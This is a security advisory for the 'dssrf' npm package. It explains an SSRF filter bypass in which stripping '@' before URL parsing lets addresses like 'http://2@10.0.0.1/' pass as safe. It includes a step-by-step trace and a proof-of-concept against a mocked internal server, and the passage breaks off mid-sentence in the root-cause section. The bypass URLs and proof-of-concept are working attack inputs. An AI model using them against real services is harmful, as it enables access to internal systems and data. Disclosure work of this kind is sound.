GHSA-cg4g-m8jx-vjv2: dssrf has an SSRF bypass with remove_at_symbol_in_string

Summary is_url_safe in v1.0.3 contains an SSRF bypass. remove_at_symbol_in_string is applied to the raw URL string before new URL() parses it. This strips the @ that separates userinfo from host, corrupting the hostname so internal IPs are never checked. Vulnerability In helpers.ts, is_url_safe does: u = remove_at_symbol_in_string(u); // strips ALL '@' from the raw string // ... const parsed = new URL(u); const hostname = parsed.hostname; // resolved from the corrupted string What happens step by step Input: http://evil.com@127.0.0.1/ 1. remove_at_symbol_in_string → http://evil.com127.0.0.1/ 2. new URL(...) → hostname = "evil.com127.0.0.1" 3. Not a bare IP, not IPv6 → passes all IP checks 4. is_hostname_resolve_to_internal_ip("evil.com127.0.0.1") → NXDOMAIN → returns false 5. Result: true (safe) — but any HTTP client using the *original* URL connects to 127.0.0.1 Proof of Concept import nock from 'nock'; import { got } from 'got'; import { is_url_safe } from 'dssrf'; // Simulate an internal server at 10.0.0.1 that returns secret data nock('http://10.0.0.1:80').persist().get('/').reply(200, 'SECRET_DATA'); const BYPASS_URL = 'http://2@10.0.0.1/'; const PLAIN_URL = 'http://10.0.0.1/'; // dssrf should block both — it only blocks the plain one console.log('--- dssrf validator ---'); console.log(is_url_safe('${PLAIN_URL}') =, await is_url_safe(PLAIN_URL), '← correctly blocked'); console.log(is_url_safe('${BYPASS_URL}') =, await is_url_safe(BYPASS_URL), '← ⚠️ BYPASSED (should be false)'); // HTTP client with the bypass URL — gets SECRET_DATA back from 10.0.0.1 console.log('\n--- HTTP client ---'); try { const res = await got(BYPASS_URL, { retry: { limit: 0 } }); console.log(got('${BYPASS_URL}') response:, res.body, '← ⚠️ VULNERABLE'); } catch (e) { console.log(got('${BYPASS_URL}') blocked:, e.message); } Root Cause @ in a URL separates userinfo (credentials) from host. Stripping it from the raw string before parsing destroys that boundary. The fix is to rej